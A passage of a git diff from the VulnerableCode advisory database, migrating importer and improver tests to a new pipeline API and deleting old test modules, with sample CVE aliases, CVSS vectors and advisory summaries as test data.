reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# -import datetime -import json -import os -from unittest import TestCase - -from vulnerabilities.importer import Reference -from vulnerabilities.importers.gsd import get_aliases -from vulnerabilities.importers.gsd import get_description -from vulnerabilities.importers.gsd import get_published_date_nvd_nist_gov -from vulnerabilities.importers.gsd import get_references -from vulnerabilities.importers.gsd import get_severities -from vulnerabilities.importers.gsd import get_summary -from vulnerabilities.importers.gsd import parse_advisory_data -from vulnerabilities.tests import util_tests - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -TEST_DATA = os.path.join(BASE_DIR, "test_data/gsd") - - -class TestGSDImporter(TestCase): - def test_to_advisories1(self): - with open(os.path.join(TEST_DATA, "GSD-2016-20005.json")) as f: - raw_data = json.load(f) - imported_data = parse_advisory_data(raw_data, "GSD-2016-20005.json") - expected_file = os.path.join(TEST_DATA, "GSD-2016-20005-expected.json") - result = imported_data.to_dict() - util_tests.check_results_against_json(result, expected_file) - - def test_to_advisories2(self): - with open(os.path.join(TEST_DATA, "GSD-2022-4030.json")) as f: - raw_data = json.load(f) - imported_data = parse_advisory_data(raw_data, "GSD-2022-4030.json") - expected_file = os.path.join(TEST_DATA, "GSD-2022-4030-expected.json") - result = imported_data.to_dict() - util_tests.check_results_against_json(result, expected_file) - - def test_to_advisories3(self): - with open(os.path.join(TEST_DATA, "GSD-2002-0001.json")) as f: - raw_data = json.load(f) - imported_data = parse_advisory_data(raw_data, "GSD-2022-4030.json") - expected_file = os.path.join(TEST_DATA, "GSD-2002-0001-expected.json") - result = imported_data.to_dict() - util_tests.check_results_against_json(result, expected_file) - - def test_to_advisories4(self): - with open(os.path.join(TEST_DATA, "GSD-2006-0326.json")) as f: - raw_data = json.load(f) - imported_data = parse_advisory_data(raw_data, "GSD-2022-4030.json") - expected_file = os.path.join(TEST_DATA, "GSD-2006-0326-expected.json") - result = imported_data.to_dict() - util_tests.check_results_against_json(result, expected_file) - - def test_get_references(self): - assert get_references( - { - "references": { - "reference_data": [ - { - "name": "https://kc.mcafee.com/corporate/index?page=content&id=SB10198", - "refsource": "CONFIRM", - "tags": ["Vendor Advisory"], - "url": "https://kc.mcafee.com/corporate/index?page=content&id=SB10198", - } - ] - } - } - ) == [ - Reference( - reference_id="", - url="https://kc.mcafee.com/corporate/index?page=content&id=SB10198", - severities=[], - ) - ] - - def test_get_description(self): - assert get_description( - { - "description": { - "description_data": [ - { - "lang": "eng", - "value": "User Name Disclosure in the server in McAfee Network Data Loss Prevention (NDLP) 9.3.x allows remote attackers to view user information via the appliance web interface.", - } - ] - } - } - ) == [ - "User Name Disclosure in the server in McAfee Network Data Loss Prevention (NDLP) 9.3.x allows remote attackers to view user information via the appliance web interface." - ] - - def test_get_aliases_cve_org(self): - assert get_aliases( - { - "CVE_data_meta": { - "ASSIGNER": "secure@intel.com", - "ID": "CVE-2017-4017", - "STATE": "PUBLIC", - } - } - ) == ["CVE-2017-4017"] - assert get_aliases( - { - "CVE_data_meta": { - "ASSIGNER": "secure@intel.com", - "ID": "CVE-2017-4017", - "STATE": "PUBLIC", - }, - "source": {"advisory": "GHSA-v8x6-59g4-5g3w", "discovery": "UNKNOWN"}, - } - ) == ["CVE-2017-4017", "GHSA-v8x6-59g4-5g3w"] - assert get_aliases( - {"source": {"advisory": "GHSA-v8x6-59g4-5g3w", "discovery": "UNKNOWN"}} - ) == ["GHSA-v8x6-59g4-5g3w"] - - def test_get_summary(self): - assert ( - get_summary({"CVE_data_meta": {"TITLE": "DoS vulnerability: Invalid Accent Colors"}}) - == "DoS vulnerability: Invalid Accent Colors" - ) - - def test_get_severities(self): - assert get_severities( - { - "impact": { - "cvss": { - "attackComplexity": "LOW", - "attackVector": "NETWORK", - "availabilityImpact": "HIGH", - "baseScore": 5.7, - "baseSeverity": "MEDIUM", - "confidentialityImpact": "NONE", - "integrityImpact": "NONE", - "privilegesRequired": "LOW", - "scope": "UNCHANGED", - "userInteraction": "REQUIRED", - "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H", - "version": "3.1", - } - } - } - ) == ["CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H"] - assert get_severities( - { - "impact": { - "baseMetricV2": { - "acInsufInfo": False, - "cvssV2": { - "accessComplexity": "LOW", - "accessVector": "NETWORK", - "authentication": "NONE", - "availabilityImpact": "PARTIAL", - "baseScore": 7.5, - "confidentialityImpact": "PARTIAL", - "integrityImpact": "PARTIAL", - "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", - "version": "2.0", - }, - "exploitabilityScore": 10.0, - "impactScore": 6.4, - "obtainAllPrivilege": False, - "obtainOtherPrivilege": False, - "obtainUserPrivilege": False, - "severity": "HIGH", - "userInteractionRequired": False, - }, - "baseMetricV3": { - "cvssV3": { - "attackComplexity": "LOW", - "attackVector": "NETWORK", - "availabilityImpact": "HIGH", - "baseScore": 9.8, - "baseSeverity": "CRITICAL", - "confidentialityImpact": "HIGH", - "integrityImpact": "HIGH", - "privilegesRequired": "NONE", - "scope": "UNCHANGED", - "userInteraction": "NONE", - "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", - "version": "3.1", - }, - "exploitabilityScore": 3.9, - "impactScore": 5.9, - }, - } - } - ) == ["AV:N/AC:L/Au:N/C:P/I:P/A:P", "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"] - - assert get_severities( - { - "impact": { - "cvss": [ - { - "baseScore": 8.1, - "baseSeverity": "HIGH", - "vectorString": "CVSS:3.1/A:H/I:H/C:N/S:U/UI:N/PR:L/AC:L/AV:N", - "version": "3.1", - } - ] - } - } - ) == ["CVSS:3.1/A:H/I:H/C:N/S:U/UI:N/PR:L/AC:L/AV:N"] - - assert get_severities( - { - "impact": { - "baseMetricV3": { - "cvssV3": { - "attackComplexity": "LOW", - "attackVector": "NETWORK", - "availabilityImpact": "HIGH", - "baseScore": 8.1, - "baseSeverity": "HIGH", - "confidentialityImpact": "NONE", - "integrityImpact": "HIGH", - "privilegesRequired": "LOW", - "scope": "UNCHANGED", - "userInteraction": "NONE", - "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", - "version": "3.1", - }, - "exploitabilityScore": 2.8, - "impactScore": 5.2, - } - } - } - ) == ["CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"] - - def test_get_published_date_nvd_nist_gov(self): - assert get_published_date_nvd_nist_gov( - {"publishedDate": "2022-06-23T07:15Z"} - ) == datetime.datetime(2022, 6, 23, 7, 15, 0, 0).replace(tzinfo=datetime.timezone.utc) - assert get_published_date_nvd_nist_gov({}) is None diff --git a/vulnerabilities/tests/test_import_command.py b/vulnerabilities/tests/test_import_command.py index 5734a7942..4818dde4f 100644 --- a/vulnerabilities/tests/test_import_command.py +++ b/vulnerabilities/tests/test_import_command.py @@ -15,28 +15,39 @@ from django.core.management.base import CommandError from django.test import TestCase -from vulnerabilities.importer import Importer +from vulnerabilities.pipelines import VulnerableCodeBaseImporterPipelineV2 -class DummyImporter(Importer): - spdx_license_expression = "dummy license" - importer_name = "Dummy Importer 1" +class DummyImporter(VulnerableCodeBaseImporterPipelineV2): + pipeline_id = "dummy_importer" + license_url = "https://example.com/license" + datasource_id = "dummy_importer" + spdx_license_expression = "TEST" - def advisory_data(self): - return [] + @classmethod + def steps(cls): + return (cls.dummy_step,) + def dummy_step(self): + pass -class UnLicensedImporter(Importer): - importer_name = "UnLicensed Importer" - def advisory_data(self): - return [] +class FailingImporter(VulnerableCodeBaseImporterPipelineV2): + pipeline_id = "dummy_importer_failing" + datasource_id = "dummy_importer_failing" + license_url = "https://example.com/license" + spdx_license_expression = "TEST" + @classmethod + def steps(cls): + return (cls.dummy_step,) -MOCK_IMPORTERS_REGISTRY = [DummyImporter, UnLicensedImporter] -MOCK_IMPORTERS_REGISTRY = { - importer.qualified_name: importer for importer in MOCK_IMPORTERS_REGISTRY -} + def dummy_step(self): + raise RuntimeError("importer failed") + + +MOCK_IMPORTERS_REGISTRY = [DummyImporter, FailingImporter] +MOCK_IMPORTERS_REGISTRY = {importer.pipeline_id: importer for importer in MOCK_IMPORTERS_REGISTRY} @patch("vulnerabilities.importers.IMPORTERS_REGISTRY", MOCK_IMPORTERS_REGISTRY) @@ -45,7 +56,7 @@ def test_list_sources(self): buf = StringIO() call_command("import", "--list", stdout=buf) out = buf.getvalue() - assert DummyImporter.qualified_name in out + assert DummyImporter.pipeline_id in out def test_missing_sources(self): with pytest.raises(CommandError) as cm: @@ -58,7 +69,7 @@ def test_error_message_includes_unknown_sources(self): with pytest.raises(CommandError) as cm: call_command( "import", - DummyImporter.qualified_name, + DummyImporter.pipeline_id, "foo", "bar", stdout=StringIO(), @@ -67,17 +78,18 @@ def test_error_message_includes_unknown_sources(self): err = str(cm) assert "bar" in err assert "foo" in err - assert DummyImporter.qualified_name not in err + assert DummyImporter.pipeline_id not in err def test_import_run(self): buf = StringIO() - call_command("import", DummyImporter.qualified_name, stdout=buf) + call_command("import", DummyImporter.pipeline_id, stdout=buf) out = buf.getvalue() - assert "Successfully imported data using" in out + assert f"Importing data using {DummyImporter.pipeline_id}" in out + assert f"Successfully imported data using {DummyImporter.pipeline_id}" in out def test_bad_importer_fail_error(self): buf = StringIO() with pytest.raises(CommandError): - call_command("import", UnLicensedImporter.qualified_name, stdout=buf) + call_command("import", FailingImporter.pipeline_id, stdout=buf) out = buf.getvalue() - assert "Failed to run importer" in out + assert FailingImporter.pipeline_id in out diff --git a/vulnerabilities/tests/test_import_runner.py b/vulnerabilities/tests/test_import_runner.py index 2a0757e14..d91964db1 100644 --- a/vulnerabilities/tests/test_import_runner.py +++ b/vulnerabilities/tests/test_import_runner.py @@ -12,214 +12,76 @@ from univers.version_range import VersionRange from vulnerabilities import models -from vulnerabilities.import_runner import ImportRunner -from vulnerabilities.import_runner import process_inferences -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Importer +from vulnerabilities.importer import AdvisoryDataV2 +from vulnerabilities.importer import AffectedPackageV2 from vulnerabilities.importer import PackageURL -from vulnerabilities.importer import Reference -from vulnerabilities.improver import Inference -from vulnerabilities.tests.test_improve_runner import ( - get_objects_in_all_tables_used_by_process_inferences, -) +from vulnerabilities.importer import ReferenceV2 +from vulnerabilities.pipelines import VulnerableCodeBaseImporterPipelineV2 ADVISORY_DATAS = [ - AdvisoryData( + AdvisoryDataV2( aliases=["CVE-2020-13371337"], + advisory_id="CVE-2020-1337137", summary="vulnerability description here", affected_packages=[ - AffectedPackage( - package=PackageURL(type="pypi", name="dummy package"), + AffectedPackageV2( + package=PackageURL(type="pypi", name="dummy-package"), affected_version_range=VersionRange.from_string("vers:pypi/>=1.0.0|<=2.0.0"), ) ], - references=[Reference(url="https://example.com/with/more/info/CVE-2020-13371337")], + references=[ReferenceV2(url="https://example.com/with/more/info/CVE-2020-13371337")], date_published=timezone.now(), url="https://test.com", ) ] -class DummyImporter(Importer): - spdx_license_expression = "dummy license" - importer_name = "Dummy Importer 2" +class DummyImporter(VulnerableCodeBaseImporterPipelineV2): + pipeline_id = "dummy_import_runner_v2" + license_url = "https://example.com/license" + datasource_id = "dummy_import_runner" + spdx_license_expression = "CC-BY-4.0" - def advisory_data(self): + def collect_advisories(self): return ADVISORY_DATAS - -@pytest.mark.django_db(transaction=True) -def test_import_runner_1(db): - runner = ImportRunner(DummyImporter) - runner.run() - advisories = models.Advisory.objects.all() - advisory_datas = [x.to_advisory_data() for x in advisories] - assert advisory_datas == ADVISORY_DATAS - - -@pytest.mark.django_db(transaction=True) -def test_process_advisories_with_no_advisory(db): - ImportRunner(DummyImporter).process_advisories([], "") - assert 0 == models.Advisory.objects.count() - - -@pytest.mark.django_db(transaction=True) -def test_process_advisories_with_advisories(db): - ImportRunner(DummyImporter).process_advisories(ADVISORY_DATAS, "test_importer") - advisories = models.Advisory.objects.all() - advisory_datas = [x.to_advisory_data() for x in advisories] - assert advisory_datas == ADVISORY_DATAS - - -@pytest.mark.django_db(transaction=True) -def test_process_advisories_idempotency(db): - ImportRunner(DummyImporter).process_advisories(ADVISORY_DATAS, "test_importer") - ImportRunner(DummyImporter).process_advisories(ADVISORY_DATAS, "test_importer") - ImportRunner(DummyImporter).process_advisories(ADVISORY_DATAS, "test_importer") - advisories = models.Advisory.objects.all() - advisory_datas = [x.to_advisory_data() for x in advisories] - assert advisory_datas == ADVISORY_DATAS - - -@pytest.mark.django_db(transaction=True) -def test_process_advisories_idempotency_with_one_new_advisory(db): - advisory_datas = ADVISORY_DATAS.copy() - ImportRunner(DummyImporter).process_advisories(advisory_datas, "test_importer") - advisory_datas.append( - AdvisoryData( - aliases=["CVE-2022-1337"], - url="https://example.com/CVE-2022-1337", - ) - ) - ImportRunner(DummyImporter).process_advisories(advisory_datas, "test_importer") - advisories = models.Advisory.objects.all() - advisory_datas_in_db = [x.to_advisory_data() for x in advisories] - assert advisory_datas_in_db == advisory_datas - - -@pytest.mark.django_db(transaction=True) -def test_process_advisories_idempotency_with_different_importer_names(): - ImportRunner(DummyImporter).process_advisories(ADVISORY_DATAS, "test_importer_one") - ImportRunner(DummyImporter).process_advisories(ADVISORY_DATAS, "test_importer_two") - advisories = models.Advisory.objects.all() - advisory_datas = [x.to_advisory_data() for x in advisories] - assert advisory_datas == ADVISORY_DATAS - - -@pytest.mark.django_db(transaction=True) -def test_process_advisories_can_import_advisories_with_severities_and_no_date(): - # was failing with " django.core.exceptions.ValidationError: ['“None” value has an invalid format. - # It must be in YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ] format.']" - - advisory = { - "aliases": ["CVE-2024-31079"], - "summary": "Stack overflow and use-after-free in HTTP/3", - "affected_packages": [ - { - "package": { - "type": "nginx", - "namespace": "", - "name": "nginx", - "version": "", - "qualifiers": "", - "subpath": "", - }, - "affected_version_range": "vers:nginx/>=1.25.0|<=1.25.5|1.26.0", - "fixed_version": "1.27.0", - }, - { - "package": { - "type": "nginx", - "namespace": "", - "name": "nginx", - "version": "", - "qualifiers": "", - "subpath": "", - }, - "affected_version_range": "vers:nginx/>=1.25.0|<=1.25.5|1.26.0", - "fixed_version": "1.26.1", - }, - ], - "references": [ - { - "reference_id": "", - "reference_type": "", - "url": "https://mailman.nginx.org/pipermail/nginx-announce/2024/GMY32CSHFH6VFTN76HJNX7WNEX4RLHF6.html", - "severities": [ - {"system": "generic_textual", "value": "medium", "scoring_elements": ""} - ], - }, - { - "reference_id": "CVE-2024-31079", - "reference_type": "", - "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31079", - "severities": [], - }, - ], - "date_published": None, - "weaknesses": [], - "url": "https://nginx.org/en/security_advisories.html", - } - ad = AdvisoryData.from_dict(advisory) - ImportRunner(DummyImporter).process_advisories([ad], "test_importer_date") - advisory_aliases = [ - {"aliases": [item.alias for item in adv.aliases.all()]} - for adv in models.Advisory.objects.all() - ] - assert advisory_aliases == [{"aliases": ["CVE-2024-31079"]}] - - -def test_advisory_summary_clean_up(): - adv = AdvisoryData( - summary="The X509Extension in pyOpenSSL before 0.13.1 does not properly handle a '\x00' character in a domain name in the Subject Alternative Name field of an X.509 certificate, which allows man-in-the-middle attackers to spoof arbitrary SSL servers via a crafted certificate issued by a legitimate Certification Authority." - ) - assert "\x00" not in adv.summary + def advisories_count(self): + return len(ADVISORY_DATAS) -DUMMY_ADVISORY = models.Advisory( - unique_content_id="test-unique-content-id", - url="https://test.url/", - summary="dummy", - created_by="tests", - date_collected=timezone.now(), -) +class EmptyImporter(VulnerableCodeBaseImporterPipelineV2): + pipeline_id = "empty_import_runner_v2" + license_url = "https://example.com/license" + datasource_id = "empty_import_runner" + spdx_license_expression = "CC-BY-4.0" + def collect_advisories(self): + return [] -INFERENCES = [ - Inference( - aliases=["CVE-1", "CVE-2"], - summary="One upon a time, in a package far far away", - affected_purls=[ - PackageURL(type="character", namespace="star-wars", name="anakin", version="1") - ], - fixed_purl=PackageURL( - type="character", namespace="star-wars", name="darth-vader", version="1" - ), - references=[Reference(reference_id="imperial-vessel-1", url="https://m47r1x.github.io")], - ) -] + def advisories_count(self): + return 0 @pytest.mark.django_db -def test_process_inferences_with_no_inference(): - assert not process_inferences( - inferences=[], advisory=DUMMY_ADVISORY, improver_name="test_improver" - ) +def test_import_runner_1(): + status, error = DummyImporter().execute() + assert status == 0, error + advisories = models.AdvisoryV2.objects.all() + assert advisories.count() == 1 + assert advisories.first().advisory_id == "CVE-2020-1337137" @pytest.mark.django_db -def test_process_inferences_with_unknown_but_specified_vulnerability(): - inference = Inference(vulnerability_id="VCID-Does-Not-Exist-In-DB", aliases=["MATRIX-Neo"]) - assert not process_inferences( - inferences=[inference], advisory=DUMMY_ADVISORY, improver_name="test_improver" - ) +def test_process_advisories_with_no_advisory(): + status, error = EmptyImporter().execute() + assert status == 0, error + assert 0 == models.AdvisoryV2.objects.count() @pytest.mark.django_db -def test_process_inferences_idempotency(): - process_inferences(INFERENCES, DUMMY_ADVISORY, improver_name="test_improver") - all_objects = get_objects_in_all_tables_used_by_process_inferences() - process_inferences(INFERENCES, DUMMY_ADVISORY, improver_name="test_improver") - process_inferences(INFERENCES, DUMMY_ADVISORY, improver_name="test_improver") - assert all_objects == get_objects_in_all_tables_used_by_process_inferences() +def test_process_advisories_with_advisories(): + status, error = DummyImporter().execute() + assert status == 0, error + advisories = models.AdvisoryV2.objects.all() + assert advisories.count() == 1 + assert advisories.first().summary == "vulnerability description here" diff --git a/vulnerabilities/tests/test_importer.py b/vulnerabilities/tests/test_importer.py index 952625be8..f855616cf 100644 --- a/vulnerabilities/tests/test_importer.py +++ b/vulnerabilities/tests/test_importer.py @@ -9,7 +9,6 @@ import pytest -from vulnerabilities.importer import Importer from vulnerabilities.importer import PackageCommitPatchData from vulnerabilities.importer import PatchData from vulnerabilities.importer import ReferenceV2 @@ -17,15 +16,6 @@ from vulnerabilities.pipes.advisory import classify_patch_source -def test_all_importers_have_unique_name(): - importers = [importer.importer_name for importer in Importer.__subclasses__()] - empty_importers = [ - importer.__name__ for importer in Importer.__subclasses__() if not importer.importer_name - ] - assert empty_importers == [] - assert len(importers) == len(set(importers)) - - @pytest.mark.parametrize( "url, commit_hash, patch_text, results", [ diff --git a/vulnerabilities/tests/test_improve_command.py b/vulnerabilities/tests/test_improve_command.py index b6b152b40..ff153da07 100644 --- a/vulnerabilities/tests/test_improve_command.py +++ b/vulnerabilities/tests/test_improve_command.py @@ -15,24 +15,23 @@ from django.core.management.base import CommandError from django.test import TestCase -from vulnerabilities.improver import Improver -from vulnerabilities.improver import Inference -from vulnerabilities.models import Advisory +from vulnerabilities.pipelines import VulnerableCodePipeline -class DummyImprover(Improver): - @property - def interesting_advisories(self): - return Advisory.objects.none() +class DummyImprover(VulnerableCodePipeline): + pipeline_id = "dummy_improver" + license_expression = None - def get_inferences(self): - return [] + @classmethod + def steps(cls): + return (cls.dummy_step,) + + def dummy_step(self): + pass MOCK_IMPROVERS_REGISTRY = [DummyImprover] -MOCK_IMPROVERS_REGISTRY = { - improver.qualified_name: improver for improver in MOCK_IMPROVERS_REGISTRY -} +MOCK_IMPROVERS_REGISTRY = {improver.pipeline_id: improver for improver in MOCK_IMPROVERS_REGISTRY} @patch("vulnerabilities.improvers.IMPROVERS_REGISTRY", MOCK_IMPROVERS_REGISTRY) @@ -41,7 +40,7 @@ def test_list_sources(self): buf = StringIO() call_command("improve", "--list", stdout=buf) out = buf.getvalue() - assert DummyImprover.qualified_name in out + assert DummyImprover.pipeline_id in out def test_missing_sources(self): with pytest.raises(CommandError) as cm: @@ -54,7 +53,7 @@ def test_error_message_includes_unknown_sources(self): with pytest.raises(CommandError) as cm: call_command( "improve", - DummyImprover.qualified_name, + DummyImprover.pipeline_id, "foo", "bar", stdout=StringIO(), @@ -63,10 +62,10 @@ def test_error_message_includes_unknown_sources(self): err = str(cm) assert "bar" in err assert "foo" in err - assert DummyImprover.qualified_name not in err + assert DummyImprover.pipeline_id not in err def test_improve_run(self): buf = StringIO() - call_command("improve", DummyImprover.qualified_name, stdout=buf) + call_command("improve", DummyImprover.pipeline_id, stdout=buf) out = buf.getvalue() assert "Successfully improved data using" in out diff --git a/vulnerabilities/tests/test_improve_runner.py b/vulnerabilities/tests/test_improve_runner.py deleted file mode 100644 index 682b45f19..000000000 --- a/vulnerabilities/tests/test_improve_runner.py +++ /dev/null @@ -1,260 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -from collections import Counter - -import pytest -from django.utils import timezone -from packageurl import PackageURL - -from vulnerabilities.importer import Reference -from vulnerabilities.improve_runner import create_valid_vulnerability_reference -from vulnerabilities.improve_runner import create_vulnerability_and_add_aliases -from vulnerabilities.improve_runner import get_or_create_vulnerability_and_aliases -from vulnerabilities.improve_runner import get_vulns_for_aliases_and_get_new_aliases -from vulnerabilities.improve_runner import process_inferences -from vulnerabilities.improver import MAX_CONFIDENCE -from vulnerabilities.improver import Inference -from vulnerabilities.models import Advisory -from vulnerabilities.models import Alias -from vulnerabilities.models import Package -from vulnerabilities.models import Vulnerability -from vulnerabilities.models import VulnerabilityReference -from vulnerabilities.models import VulnerabilitySeverity - - -@pytest.mark.django_db -def test_create_valid_vulnerability_reference_basic(): - result = create_valid_vulnerability_reference( - reference_id="cpe:2.3:a:microsoft:windows_10:10.0.17134:*:*:*:*:*:*:*", - url="https://foo.bar", - ) - assert result - - -@pytest.mark.django_db -def test_create_valid_vulnerability_reference_raise_exception_on_empty_url(): - result = create_valid_vulnerability_reference( - reference_id="cpe:2.3:a:microsoft:windows_10:10.0.17134:*:*:*:*:*:*:*", - url="", - ) - assert not result - - -@pytest.mark.django_db -def test_create_valid_vulnerability_reference_accepts_long_references(): - result = create_valid_vulnerability_reference( - reference_id="*" * 200, - url="https://foo.bar", - ) - assert result - - -@pytest.mark.django_db -def test_get_or_create_vulnerability_and_aliases_with_new_vulnerability_and_new_aliases(): - alias_names = ["TAYLOR-1337", "SWIFT-1337"] - summary = "Melodious vulnerability" - vulnerability = get_or_create_vulnerability_and_aliases( - aliases=alias_names, summary=summary, advisory=Advisory(created_by="") - ) - assert vulnerability - alias_names_in_db = vulnerability.get_aliases.values_list("alias", flat=True) - assert Counter(alias_names_in_db) == Counter(alias_names) - - -@pytest.mark.django_db -def test_get_or_create_vulnerability_and_aliases_with_different_vulnerability_and_existing_aliases(): - existing_vulnerability = Vulnerability(vulnerability_id="VCID-Existing") - existing_vulnerability.save() - existing_aliases = [] - existing_alias_names = ["ALIAS-1", "ALIAS-2"] - for alias in existing_alias_names: - existing_aliases.append(Alias(alias=alias, vulnerability=existing_vulnerability)) - Alias.objects.bulk_create(existing_aliases) - - different_vulnerability = Vulnerability(vulnerability_id="VCID-New") - different_vulnerability.save() - assert not get_or_create_vulnerability_and_aliases( - aliases=existing_alias_names, vulnerability_id=different_vulnerability.vulnerability_id - ) - - -@pytest.mark.django_db -def test_get_or_create_vulnerability_and_aliases_with_existing_vulnerability_and_new_aliases(): - existing_vulnerability = Vulnerability(vulnerability_id="VCID-Existing") - existing_vulnerability.save() - - existing_alias_names = ["ALIAS-1", "ALIAS-2"] - vulnerability = get_or_create_vulnerability_and_aliases( - vulnerability_id="VCID-Existing", aliases=existing_alias_names - ) - assert existing_vulnerability == vulnerability - - alias_names_in_db = vulnerability.get_aliases.values_list("alias", flat=True) - assert Counter(alias_names_in_db) == Counter(existing_alias_names) - - -@pytest.mark.django_db -def test_get_or_create_vulnerability_and_aliases_with_existing_vulnerability_and_existing_aliases(): - existing_vulnerability = Vulnerability(vulnerability_id="VCID-Existing") - existing_vulnerability.save() - - existing_aliases = [] - existing_alias_names = ["ALIAS-1", "ALIAS-2"] - for alias in existing_alias_names: - existing_aliases.append(Alias(alias=alias, vulnerability=existing_vulnerability)) - Alias.objects.bulk_create(existing_aliases) - - vulnerability = get_or_create_vulnerability_and_aliases( - vulnerability_id="VCID-Existing", aliases=existing_alias_names - ) - assert existing_vulnerability == vulnerability - - alias_names_in_db = vulnerability.get_aliases.values_list("alias", flat=True) - assert Counter(alias_names_in_db) == Counter(existing_alias_names) - - -@pytest.mark.django_db -def test_get_or_create_vulnerability_and_aliases_with_existing_vulnerability_and_existing_and_new_aliases(): - existing_vulnerability = Vulnerability(vulnerability_id="VCID-Existing") - existing_vulnerability.save() - - existing_aliases = [] - existing_alias_names = ["ALIAS-1", "ALIAS-2"] - for alias in existing_alias_names: - existing_aliases.append(Alias(alias=alias, vulnerability=existing_vulnerability)) - Alias.objects.bulk_create(existing_aliases) - - new_alias_names = ["ALIAS-3", "ALIAS-4"] - alias_names = existing_alias_names + new_alias_names - vulnerability = get_or_create_vulnerability_and_aliases( - vulnerability_id="VCID-Existing", aliases=alias_names - ) - assert existing_vulnerability == vulnerability - - alias_names_in_db = vulnerability.get_aliases.values_list("alias", flat=True) - assert Counter(alias_names_in_db) == Counter(alias_names) - - -DUMMY_ADVISORY = Advisory(summary="dummy", created_by="tests", date_collected=timezone.now()) - - -@pytest.mark.django_db -def test_process_inferences_with_no_inference(): - assert not process_inferences( - inferences=[], advisory=DUMMY_ADVISORY, improver_name="test_improver" - ) - - -@pytest.mark.django_db -def test_process_inferences_with_unknown_but_specified_vulnerability(): - inference = Inference(vulnerability_id="VCID-Does-Not-Exist-In-DB", aliases=["MATRIX-Neo"]) - assert not process_inferences( - inferences=[inference], advisory=DUMMY_ADVISORY, improver_name="test_improver" - ) - - -INFERENCES = [ - Inference( - aliases=["CVE-1", "CVE-2"], - summary="One upon a time, in a package far far away", - affected_purls=[ - PackageURL(type="character", namespace="star-wars", name="anakin", version="1") - ], - fixed_purl=PackageURL( - type="character", namespace="star-wars", name="darth-vader", version="1" - ), - references=[Reference(reference_id="imperial-vessel-1", url="https://m47r1x.github.io")], - ) -] - - -def get_objects_in_all_tables_used_by_process_inferences(): - return { - "vulnerabilities": list(Vulnerability.objects.all()), - "aliases": list(Alias.objects.all()), - "references": list(VulnerabilityReference.objects.all()), - "advisories": list(Advisory.objects.all()), - "packages": list(Package.objects.all()), - "references": list(VulnerabilityReference.objects.all()), - "severity": list(VulnerabilitySeverity.objects.all()), - } - - -@pytest.mark.django_db -def test_process_inferences_idempotency(): - process_inferences(INFERENCES, DUMMY_ADVISORY, improver_name="test_improver") - all_objects = get_objects_in_all_tables_used_by_process_inferences() - process_inferences(INFERENCES, DUMMY_ADVISORY, improver_name="test_improver") - process_inferences(INFERENCES, DUMMY_ADVISORY, improver_name="test_improver") - assert all_objects == get_objects_in_all_tables_used_by_process_inferences() - - -@pytest.mark.django_db -def test_process_inference_idempotency_with_different_improver_names(): - process_inferences(INFERENCES, DUMMY_ADVISORY, improver_name="test_improver_one") - all_objects = get_objects_in_all_tables_used_by_process_inferences() - process_inferences(INFERENCES, DUMMY_ADVISORY, improver_name="test_improver_two") - process_inferences(INFERENCES, DUMMY_ADVISORY, improver_name="test_improver_three") - assert all_objects == get_objects_in_all_tables_used_by_process_inferences() - - -@pytest.mark.django_db -def test_get_or_created_vulnerability_and_aliases_with_empty_aliases(): - assert get_or_create_vulnerability_and_aliases(aliases=[], summary="EMPTY ALIASES") == None - - -@pytest.mark.django_db -def test_process_inferences_with_empty_aliases(): - with pytest.raises(AssertionError): - process_inferences( - inferences=[ - Inference( - aliases=[], - vulnerability_id=None, - confidence=MAX_CONFIDENCE, - summary="", - ) - ], - advisory=Advisory.objects.create( - unique_content_id="test-unique-content-id", - summary="", - date_collected=timezone.now(), - ), - improver_name="NO_ALIASES_IMPROVER", - ) - - -@pytest.mark.django_db -def test_get_vulns_for_aliases_and_get_new_aliases(): - v = Vulnerability.objects.create(summary="TEST") - Alias.objects.create(alias="CVE-1", vulnerability=v) - new_aliases, existing_vulns = get_vulns_for_aliases_and_get_new_aliases( - aliases=["CVE-1", "CVE-2"] - ) - assert new_aliases == set(["CVE-2"]) - assert existing_vulns == set([v]) - new_aliases, existing_vulns = get_vulns_for_aliases_and_get_new_aliases(aliases=["CVE-3"]) - assert new_aliases == set(["CVE-3"]) - assert existing_vulns == set() - - -@pytest.mark.django_db -def test_create_vulnerability_and_add_aliases(): - vuln = create_vulnerability_and_add_aliases(aliases=["CVE-1", "GHSA-1"], summary="NEW-VULN") - assert vuln is not None - assert vuln.aliases.all().count() == 2 - assert [alias["alias"] for alias in vuln.alias.all().values("alias")] == ["CVE-1", "GHSA-1"] - assert vuln.summary == "NEW-VULN" - - -@pytest.mark.django_db -def test_create_vulnerability_and_add_aliases_with_no_aliases(): - with pytest.raises(Exception): - create_vulnerability_and_add_aliases(aliases=[], summary="NEW-VULN") diff --git a/vulnerabilities/tests/test_improver.py b/vulnerabilities/tests/test_improver.py deleted file mode 100644 index e526d4ac9..000000000 --- a/vulnerabilities/tests/test_improver.py +++ /dev/null @@ -1,73 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about 